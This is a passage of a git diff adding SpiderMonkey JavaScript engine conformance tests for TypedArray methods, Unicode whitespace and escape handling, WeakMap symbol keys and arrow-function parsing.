+Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+// Calls Number.prototype.toLocaleString from the current Realm.
+const otherGlobal = newGlobal();
+for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ "use strict";
+ called = true;
+ return this;
+ };
+ let typedArray = new otherGlobal[constructor.name]([1]);
+ let called = false;
+ assertEq(TypedArrayPrototype.toLocaleString.call(typedArray), "1");
+ assertEq(called, true);
+}
+Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toString.js b/js/src/tests/non262/TypedArray/toString.js
new file mode 100644
index 0000000000..0879b8b31d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toString.js
@@ -0,0 +1,69 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "toString" property.
+assertEq(TypedArrayPrototype.hasOwnProperty("toString"), true);
+
+// The initial value of %TypedArrayPrototype%.toString is Array.prototype.toString.
+assertEq(TypedArrayPrototype.toString, Array.prototype.toString);
+
+// The concrete TypedArray prototypes do not have an own "toString" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("toString")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "toString"), {
+ value: TypedArrayPrototype.toString,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+for (let constructor of anyTypedArrayConstructors) {
+ assertEq(new constructor([]).toString(), "");
+ assertEq(new constructor([1]).toString(), "1");
+ assertEq(new constructor([1, 2]).toString(), "1,2");
+}
+
+const testCases = {
+ [Int8Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Int16Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Int32Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Uint8Array.name]: {
+ array: [255, 2, 3, 4, NaN],
+ expected: "255,2,3,4,0",
+ },
+ [Uint16Array.name]: {
+ array: [-1, 2, 3, 4, NaN],
+ expected: "65535,2,3,4,0",
+ },
+ [Uint32Array.name]: {
+ array: [-1, 2, 3, 4, NaN],
+ expected: "4294967295,2,3,4,0",
+ },
+ [Uint8ClampedArray.name]: {
+ array: [255, 256, 2, 3, 4, NaN],
+ expected: "255,255,2,3,4,0",
+ },
+ [Float32Array.name]: {
+ array: [-0, 0, 0.5, -0.5, NaN, Infinity, -Infinity],
+ expected: "0,0,0.5,-0.5,NaN,Infinity,-Infinity",
+ },
+ [Float64Array.name]: {
+ array: [-0, 0, 0.5, -0.5, NaN, Infinity, -Infinity],
+ expected: "0,0,0.5,-0.5,NaN,Infinity,-Infinity",
+ },
+};
+for (let constructor of anyTypedArrayConstructors) {
+ let {array, expected} = testCases[constructor.name];
+ assertEq(new constructor(array).toString(), expected);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toStringTag-cross-compartment.js b/js/src/tests/non262/TypedArray/toStringTag-cross-compartment.js
new file mode 100644
index 0000000000..8f0875721c
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toStringTag-cross-compartment.js
@@ -0,0 +1,12 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+const {get: toStringTag} = Object.getOwnPropertyDescriptor(TypedArrayPrototype, Symbol.toStringTag);
+
+const otherGlobal = newGlobal();
+
+for (let constructor of anyTypedArrayConstructors) {
+ let ta = new otherGlobal[constructor.name](0);
+ assertEq(toStringTag.call(ta), constructor.name);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/uint8clamped-constructor.js b/js/src/tests/non262/TypedArray/uint8clamped-constructor.js
new file mode 100644
index 0000000000..3eefe70f1f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/uint8clamped-constructor.js
@@ -0,0 +1,9 @@
+for (var v of [-300, 255.6, 300, 3.5, -3.9]) {
+ var a = new Uint8ClampedArray([v]);
+ var b = new Uint8ClampedArray(1);
+ b[0] = v;
+
+ assertEq(a[0], b[0]);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/values.js b/js/src/tests/non262/TypedArray/values.js
new file mode 100644
index 0000000000..bf486bfa0a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/values.js
@@ -0,0 +1,37 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.values.length, 0);
+ assertEq(constructor.prototype.values.name, "values");
+ assertEq(constructor.prototype.values, constructor.prototype[Symbol.iterator]);
+
+ assertDeepEq([...new constructor(0).values()], []);
+ assertDeepEq([...new constructor(1).values()], [0]);
+ assertDeepEq([...new constructor(2).values()], [0, 0]);
+ assertDeepEq([...new constructor([15]).values()], [15]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.values();
+ assertDeepEq(iterator.next(), {value: 1, done: false});
+ assertDeepEq(iterator.next(), {value: 2, done: false});
+ assertDeepEq(iterator.next(), {value: 3, done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var values = newGlobal()[constructor.name].prototype.values;
+ assertDeepEq([...values.call(new constructor([42, 36]))], [42, 36]);
+ arr = new (newGlobal()[constructor.name])([42, 36]);
+ assertEq([...constructor.prototype.values.call(arr)].toString(), "42,36");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.values.call(invalidReceiver);
+ }, TypeError, "Assert that values fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/write-out-of-bounds-tonumber.js b/js/src/tests/non262/TypedArray/write-out-of-bounds-tonumber.js
new file mode 100644
index 0000000000..48a538eab7
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/write-out-of-bounds-tonumber.js
@@ -0,0 +1,60 @@
+// ToNumber(value) is executed for OOB writes when using a direct assignment.
+function plainSet() {
+ var callCount = 0;
+ var value = {
+ valueOf() {
+ callCount++;
+ return 1;
+ }
+ };
+
+ var N = 100;
+ var ta = new Int32Array(0);
+ for (var i = 0; i < N; ++i)
+ ta[0] = value
+
+ assertEq(callCount, N);
+}
+for (var i = 0; i < 2; ++i) plainSet();
+
+// ToNumber(value) is executed for OOB writes when using Reflect.set(...).
+function reflectSet() {
+ var callCount = 0;
+ var value = {
+ valueOf() {
+ callCount++;
+ return 1;
+ }
+ };
+
+ var N = 100;
+ var ta = new Int32Array(0);
+ for (var i = 0; i < N; ++i)
+ assertEq(Reflect.set(ta, 0, value), true);
+
+ assertEq(callCount, N);
+}
+for (var i = 0; i < 2; ++i) reflectSet();
+
+// ToNumber(value) is not executed for OOB writes when using Reflect.defineProperty(...).
+function defineProp() {
+ var callCount = 0;
+ var value = {
+ valueOf() {
+ callCount++;
+ return 1;
+ }
+ };
+ var desc = {value, writable: true, enumerable: true, configurable: true};
+
+ var N = 100;
+ var ta = new Int32Array(0);
+ for (var i = 0; i < N; ++i)
+ assertEq(Reflect.defineProperty(ta, 0, desc), false);
+
+ assertEq(callCount, 0);
+}
+for (var i = 0; i < 2; ++i) defineProp();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Unicode/browser.js b/js/src/tests/non262/Unicode/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Unicode/browser.js
diff --git a/js/src/tests/non262/Unicode/non-bmp-non-spaces.js b/js/src/tests/non262/Unicode/non-bmp-non-spaces.js
new file mode 100644
index 0000000000..809eb81d28
--- /dev/null
+++ b/js/src/tests/non262/Unicode/non-bmp-non-spaces.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// White space must not be determined by truncating char32_t to char16_t.
+
+assertThrowsInstanceOf(() => eval("\u{40008}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{40009}"), SyntaxError); // U+0009 CHARACTER TABULATION
+assertThrowsInstanceOf(() => eval("\u{4000A}"), SyntaxError); // U+000A LINE FEED
+assertThrowsInstanceOf(() => eval("\u{4000B}"), SyntaxError); // U+000B LINE TABULATION
+assertThrowsInstanceOf(() => eval("\u{4000C}"), SyntaxError); // U+000C FORM FEED
+assertThrowsInstanceOf(() => eval("\u{4000D}"), SyntaxError); // U+000D CARRIAGE RETURN
+assertThrowsInstanceOf(() => eval("\u{4000E}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4001F}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{40020}"), SyntaxError); // U+0020 SPACE
+assertThrowsInstanceOf(() => eval("\u{40021}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4009F}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{400A0}"), SyntaxError); // U+00A0 NO-BREAK SPACE
+assertThrowsInstanceOf(() => eval("\u{400A1}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4167F}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{41680}"), SyntaxError); // U+1680 OGHAM SPACE MARK
+assertThrowsInstanceOf(() => eval("\u{41681}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{41FFF}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{42000}"), SyntaxError); // U+2000 EN QUAD
+assertThrowsInstanceOf(() => eval("\u{42001}"), SyntaxError); // U+2001 EM QUAD
+assertThrowsInstanceOf(() => eval("\u{42002}"), SyntaxError); // U+2002 EN SPACE
+assertThrowsInstanceOf(() => eval("\u{42003}"), SyntaxError); // U+2003 EM SPACE
+assertThrowsInstanceOf(() => eval("\u{42004}"), SyntaxError); // U+2004 THREE-PER-EM SPACE
+assertThrowsInstanceOf(() => eval("\u{42005}"), SyntaxError); // U+2005 FOUR-PER-EM SPACE
+assertThrowsInstanceOf(() => eval("\u{42006}"), SyntaxError); // U+2006 SIX-PER-EM SPACE
+assertThrowsInstanceOf(() => eval("\u{42007}"), SyntaxError); // U+2007 FIGURE SPACE
+assertThrowsInstanceOf(() => eval("\u{42008}"), SyntaxError); // U+2008 PUNCTUATION SPACE
+assertThrowsInstanceOf(() => eval("\u{42009}"), SyntaxError); // U+2009 THIN SPACE
+assertThrowsInstanceOf(() => eval("\u{4200A}"), SyntaxError); // U+200A HAIR SPACE
+assertThrowsInstanceOf(() => eval("\u{4200B}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{42027}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{42028}"), SyntaxError); // U+2028 LINE SEPARATOR
+assertThrowsInstanceOf(() => eval("\u{42029}"), SyntaxError); // U+2028 PARAGRAPH SEPARATOR
+assertThrowsInstanceOf(() => eval("\u{4202A}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4202E}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{4202F}"), SyntaxError); // U+202F NARROW NO-BREAK SPACE
+assertThrowsInstanceOf(() => eval("\u{42030}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4205E}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{4205F}"), SyntaxError); // U+205F MEDIUM MATHEMATICAL SPACE
+assertThrowsInstanceOf(() => eval("\u{42060}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{42FFF}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{43000}"), SyntaxError); // U+3000 IDEOGRAPHIC SPACE
+assertThrowsInstanceOf(() => eval("\u{43001}"), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Unicode/regress-352044-01.js b/js/src/tests/non262/Unicode/regress-352044-01.js
new file mode 100644
index 0000000000..bdbb4371b9
--- /dev/null
+++ b/js/src/tests/non262/Unicode/regress-352044-01.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352044;
+var summary = 'issues with Unicode escape sequences in JavaScript source code';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError';
+
+ try
+ {
+ var i = 1;
+ eval('i \\u002b= 1');
+ print(i);
+ }
+ catch(ex)
+ {
+ actual = ex.constructor.name;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Unicode/regress-352044-02-n.js b/js/src/tests/non262/Unicode/regress-352044-02-n.js
new file mode 100644
index 0000000000..d3f41c3e8a
--- /dev/null
+++ b/js/src/tests/non262/Unicode/regress-352044-02-n.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352044;
+var summary = 'issues with Unicode escape sequences in JavaScript source code';
+var actual = 'No Error';
+var expect = 'SyntaxError';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test case is expected to throw an uncaught SyntaxError');
+
+ try
+ {
+ var i = 1;
+ i \u002b= 1;
+ print(i);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Unicode/shell.js b/js/src/tests/non262/Unicode/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Unicode/shell.js
diff --git a/js/src/tests/non262/Unicode/uc-001-n.js b/js/src/tests/non262/Unicode/uc-001-n.js
new file mode 100644
index 0000000000..4ac78b5c2c
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-001-n.js
@@ -0,0 +1,23 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23612;
+
+test();
+
+function test()
+{
+ printStatus ("Unicode Characters 1C-1F negative test.");
+ printBugNumber (BUGNUMBER);
+
+ reportCompare ("error", eval ("'no'\u001C+' error'"),
+ "Unicode whitespace test (1C.)");
+ reportCompare ("error", eval ("'no'\u001D+' error'"),
+ "Unicode whitespace test (1D.)");
+ reportCompare ("error", eval ("'no'\u001E+' error'"),
+ "Unicode whitespace test (1E.)");
+ reportCompare ("error", eval ("'no'\u001F+' error'"),
+ "Unicode whitespace test (1F.)");
+}
diff --git a/js/src/tests/non262/Unicode/uc-002-n.js b/js/src/tests/non262/Unicode/uc-002-n.js
new file mode 100644
index 0000000000..5b1512a70e
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-002-n.js
@@ -0,0 +1,14 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23607;
+DESCRIPTION = "Non-character escapes in identifiers negative test.";
+
+printStatus ("Non-character escapes in identifiers negative test.");
+printBugNumber (BUGNUMBER);
+
+eval("\u0020 = 5");
+reportCompare('PASS', 'FAIL', "Previous statement should have thrown an error.");
+
diff --git a/js/src/tests/non262/Unicode/uc-002.js b/js/src/tests/non262/Unicode/uc-002.js
new file mode 100644
index 0000000000..e96d95d377
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-002.js
@@ -0,0 +1,21 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23613;
+
+test();
+
+function test()
+{
+ printStatus ("Unicode non-breaking space character test.");
+ printBugNumber (BUGNUMBER);
+
+ reportCompare ("no error", eval("'no'\u00A0+ ' error'"),
+ "Unicode non-breaking space character test.");
+
+ var str = "\u00A0foo";
+ reportCompare (0, str.search(/^\sfoo$/),
+ "Unicode non-breaking space character regexp test.");
+}
diff --git a/js/src/tests/non262/Unicode/uc-003.js b/js/src/tests/non262/Unicode/uc-003.js
new file mode 100644
index 0000000000..12207809ad
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-003.js
@@ -0,0 +1,27 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23608;
+var BUGNUMBER = 23607;
+
+test();
+
+function test()
+{
+ var \u0041 = 5;
+ var A\u03B2 = 15;
+
+ printStatus ("Escapes in identifiers test.");
+ printBugNumber (BUGNUMBER);
+
+ reportCompare (5, eval("\u0041"),
+ "Escaped ASCII Identifier test.");
+ reportCompare (6, eval("++\u0041"),
+ "Escaped ASCII Identifier test");
+ reportCompare (15, eval("A\u03B2"),
+ "Escaped non-ASCII Identifier test");
+ reportCompare (16, eval("++A\u03B2"),
+ "Escaped non-ASCII Identifier test");
+}
diff --git a/js/src/tests/non262/Unicode/uc-004.js b/js/src/tests/non262/Unicode/uc-004.js
new file mode 100644
index 0000000000..4490753491
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-004.js
@@ -0,0 +1,26 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23612;
+
+test();
+
+function test()
+{
+ printStatus ("Unicode Characters 1C-1F with regexps test.");
+ printBugNumber (BUGNUMBER);
+
+ var ary = ["\u001Cfoo", "\u001Dfoo", "\u001Efoo", "\u001Ffoo"];
+
+ for (var i in ary)
+ {
+ reportCompare (0, ary[Number(i)].search(/^\Sfoo$/),
+ "Unicode characters 1C-1F in regexps, ary[" +
+ i + "] did not match \\S test (it should not.)");
+ reportCompare (-1, ary[Number(i)].search(/^\sfoo$/),
+ "Unicode characters 1C-1F in regexps, ary[" +
+ i + "] matched \\s test (it should not.)");
+ }
+}
diff --git a/js/src/tests/non262/Unicode/uc-005.js b/js/src/tests/non262/Unicode/uc-005.js
new file mode 100644
index 0000000000..fe28b460fc
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-005.js
@@ -0,0 +1,239 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing identifiers with double-byte names
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=58274
+ *
+ * Here is a sample of the problem:
+ *
+ * js> function f\u02B1 () {}
+ *
+ * js> f\u02B1.toSource();
+ * function f¦() {}
+ *
+ * js> f\u02B1.toSource().toSource();
+ * (new String("function f\xB1() {}"))
+ *
+ *
+ * See how the high-byte information (the 02) has been lost?
+ * The same thing was happening with the toString() method:
+ *
+ * js> f\u02B1.toString();
+ *
+ * function f¦() {
+ * }
+ *
+ * js> f\u02B1.toString().toSource();
+ * (new String("\nfunction f\xB1() {\n}\n"))
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 58274;
+var summary = 'Testing identifiers with double-byte names';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Define a function that uses double-byte identifiers in
+ * "every possible way"
+ *
+ * Then recover each double-byte identifier via f.toString().
+ * To make this easier, put a 'Z' token before every one.
+ *
+ * Our eval string will be:
+ *
+ * sEval = "function Z\u02b1(Z\u02b2, b) {
+ * try { Z\u02b3 : var Z\u02b4 = Z\u02b1; }
+ * catch (Z\u02b5) { for (var Z\u02b6 in Z\u02b5)
+ * {for (1; 1<0; Z\u02b7++) {new Array()[Z\u02b6] = 1;} };} }";
+ *
+ * It will be helpful to build this string in stages:
+ */
+var s0 = 'function Z';
+var s1 = '\u02b1(Z';
+var s2 = '\u02b2, b) {try { Z';
+var s3 = '\u02b3 : var Z';
+var s4 = '\u02b4 = Z';
+var s5 = '\u02b1; } catch (Z'
+ var s6 = '\u02b5) { for (var Z';
+var s7 = '\u02b6 in Z';
+var s8 = '\u02b5){for (1; 1<0; Z';
+var s9 = '\u02b7++) {new Array()[Z';
+var s10 = '\u02b6] = 1;} };} }';
+
+
+/*
+ * Concatenate these and eval() to create the function Z\u02b1
+ */
+var sEval = s0 + s1 + s2 + s3 + s4 + s5 + s6 + s7 + s8 + s9 + s10;
+eval(sEval);
+
+
+/*
+ * Recover all the double-byte identifiers via Z\u02b1.toString().
+ * We'll recover the 1st one as arrID[1], the 2nd one as arrID[2],
+ * and so on ...
+ */
+var arrID = getIdentifiers(Z\u02b1);
+
+
+/*
+ * Now check that we got back what we put in -
+ */
+status = inSection(1);
+actual = arrID[1];
+expect = s1.charAt(0);
+addThis();
+
+status = inSection(2);
+actual = arrID[2];
+expect = s2.charAt(0);
+addThis();
+
+status = inSection(3);
+actual = arrID[3];
+expect = s3.charAt(0);
+addThis();
+
+status = inSection(4);
+actual = arrID[4];
+expect = s4.charAt(0);
+addThis();
+
+status = inSection(5);
+actual = arrID[5];
+expect = s5.charAt(0);
+addThis();
+
+status = inSection(6);
+actual = arrID[6];
+expect = s6.charAt(0);
+addThis();
+
+status = inSection(7);
+actual = arrID[7];
+expect = s7.charAt(0);
+addThis();
+
+status = inSection(8);
+actual = arrID[8];
+expect = s8.charAt(0);
+addThis();
+
+status = inSection(9);
+actual = arrID[9];
+expect = s9.charAt(0);
+addThis();
+
+status = inSection(10);
+actual = arrID[10];
+expect = s10.charAt(0);
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Goal: recover the double-byte identifiers from f.toString()
+ * by getting the very next character after each 'Z' token.
+ *
+ * The return value will be an array |arr| indexed such that
+ * |arr[1]| is the 1st identifier, |arr[2]| the 2nd, and so on.
+ *
+ * Note, however, f.toString() is implementation-independent.
+ * For example, it may begin with '\nfunction' instead of 'function'.
+ *
+ * Rhino uses a Unicode representation for f.toString(); whereas
+ * SpiderMonkey uses an ASCII representation, putting escape sequences
+ * for non-ASCII characters. For example, if a function is called f\u02B1,
+ * then in Rhino the toString() method will present a 2-character Unicode
+ * string for its name, whereas SpiderMonkey will present a 7-character
+ * ASCII string for its name: the string literal 'f\u02B1'.
+ *
+ * So we force the lexer to condense the string before we use it.
+ * This will give uniform results in Rhino and SpiderMonkey.
+ */
+function getIdentifiers(f)
+{
+ var str = condenseStr(f.toString());
+ var arr = str.split('Z');
+
+ /*
+ * The identifiers are the 1st char of each split substring
+ * EXCEPT the first one, which is just ('\n' +) 'function '.
+ *
+ * Thus note the 1st identifier will be stored in |arr[1]|,
+ * the 2nd one in |arr[2]|, etc., making the indexing easy -
+ */
+ for (i in arr)
+ arr[i] = arr[i].charAt(0);
+ return arr;
+}
+
+
+/*
+ * This function is the opposite of a functions like escape(), which take
+ * Unicode characters and return escape sequences for them. Here, we force
+ * the lexer to turn escape sequences back into single characters.
+ *
+ * Note we can't simply do |eval(str)|, since in practice |str| will be an
+ * identifier somewhere in the program (e.g. a function name); thus |eval(str)|
+ * would return the object that the identifier represents: not what we want.
+ *
+ * So we surround |str| lexicographically with quotes to force the lexer to
+ * evaluate it as a string. Have to strip out any linefeeds first, however -
+ */
+function condenseStr(str)
+{
+ /*
+ * You won't be able to do the next step if |str| has
+ * any carriage returns or linefeeds in it. For example:
+ *
+ * js> eval("'" + '\nHello' + "'");
+ * 1: SyntaxError: unterminated string literal:
+ * 1: '
+ * 1: ^
+ *
+ * So replace them with the empty string -
+ */
+ str = str.replace(/[\r\n]/g, '')
+ return eval("'" + str + "'")
+ }
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/WeakMap/browser.js b/js/src/tests/non262/WeakMap/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/WeakMap/browser.js
diff --git a/js/src/tests/non262/WeakMap/shell.js b/js/src/tests/non262/WeakMap/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/WeakMap/shell.js
diff --git a/js/src/tests/non262/WeakMap/symbols.js b/js/src/tests/non262/WeakMap/symbols.js
new file mode 100644
index 0000000000..68d6518f2a
--- /dev/null
+++ b/js/src/tests/non262/WeakMap/symbols.js
@@ -0,0 +1,10 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols can't be WeakMap keys.
+var m = new WeakMap;
+var sym = Symbol();
+assertThrowsInstanceOf(() => m.set(sym, 0), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/arrow-functions/arrow-not-as-end-of-statement.js b/js/src/tests/non262/arrow-functions/arrow-not-as-end-of-statement.js
new file mode 100644
index 0000000000..53926d65da
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/arrow-not-as-end-of-statement.js
@@ -0,0 +1,188 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Grab-bag of ArrowFunctions with block bodies appearing in contexts where the
+// subsequent token-examination must use the Operand modifier to avoid an
+// assertion.
+
+assertEq(`x ${a => {}} z`, "x a => {} z");
+
+for (a => {}; ; )
+ break;
+
+for (; a => {}; )
+ break;
+
+for (; ; a => {})
+ break;
+
+Function.prototype[Symbol.iterator] = function() { return { next() { return { done: true }; } }; };
+for (let m of 0 ? 1 : a => {})
+ assertEq(true, false);
+for (let [m] of 0 ? 1 : a => {})
+ assertEq(true, false);
+delete Function.prototype[Symbol.iterator];
+
+for (let w in 0 ? 1 : a => {})
+ break;
+for (let [w] in 0 ? 1 : a => {})
+ break;
+
+function* stargen()
+{
+ yield a => {}
+ /Q/g;
+
+ var first = true;
+ Function.prototype[Symbol.iterator] = function() {
+ return {
+ next() {
+ var res = { done: true, value: 8675309 };
+ if (first)
+ {
+ res = { value: "fnord", done: false };
+ first = false;
+ }
+
+ return res;
+ }
+ };
+ };
+
+
+ yield* a => {}
+ /Q/g;
+
+ delete Function.prototype[Symbol.iterator];
+
+ yield 99;
+}
+var gen = stargen();
+assertEq(typeof gen.next().value, "function");
+var result = gen.next();
+assertEq(result.value, "fnord");
+assertEq(result.done, false);
+assertEq(gen.next().value, 99);
+assertEq(gen.next().done, true);
+
+switch (1)
+{
+ case a => {}:
+ break;
+}
+
+assertEq(0[a => {}], undefined);
+
+class Y {};
+class X extends Y { constructor() { super[a => {}](); } };
+
+if (a => {})
+ assertEq(true, true);
+else
+ assertEq(true, false);
+
+switch (a => {})
+{
+}
+
+with (a => {});
+
+assertEq(typeof (a => {}), "function");
+assertEq(typeof (a => b => {}), "function");
+
+for (var x in y => {})
+ continue;
+
+assertEq(eval("a => {}, 17, 42;"), 42);
+assertEq(eval("42, a => {}, 17;"), 17);
+assertEq(typeof eval("17, 42, a => {};"), "function");
+
+assertEq(eval("1 ? 0 : a => {}, 17, 42;"), 42);
+assertEq(eval("42, 1 ? 0 : a => {}, 17;"), 17);
+assertEq(eval("17, 42, 1 ? 0 : a => {};"), 0);
+
+var z = { x: 0 ? 1 : async a => {} };
+assertEq(typeof z.x, "function");
+
+var q = 0 ? 1 : async () => {};
+assertEq(typeof q, "function");
+
+var m = 0 ? 42 : m = foo => {} // ASI
+/Q/g;
+assertEq(typeof m, "function");
+
+var { q: w = 0 ? 1 : a => {} } = {};
+assertEq(typeof w, "function");
+
+Function.prototype.c = 42;
+var { c } = 0 ? 1 : a => {} // ASI
+/Q/g;
+assertEq(c, 42);
+
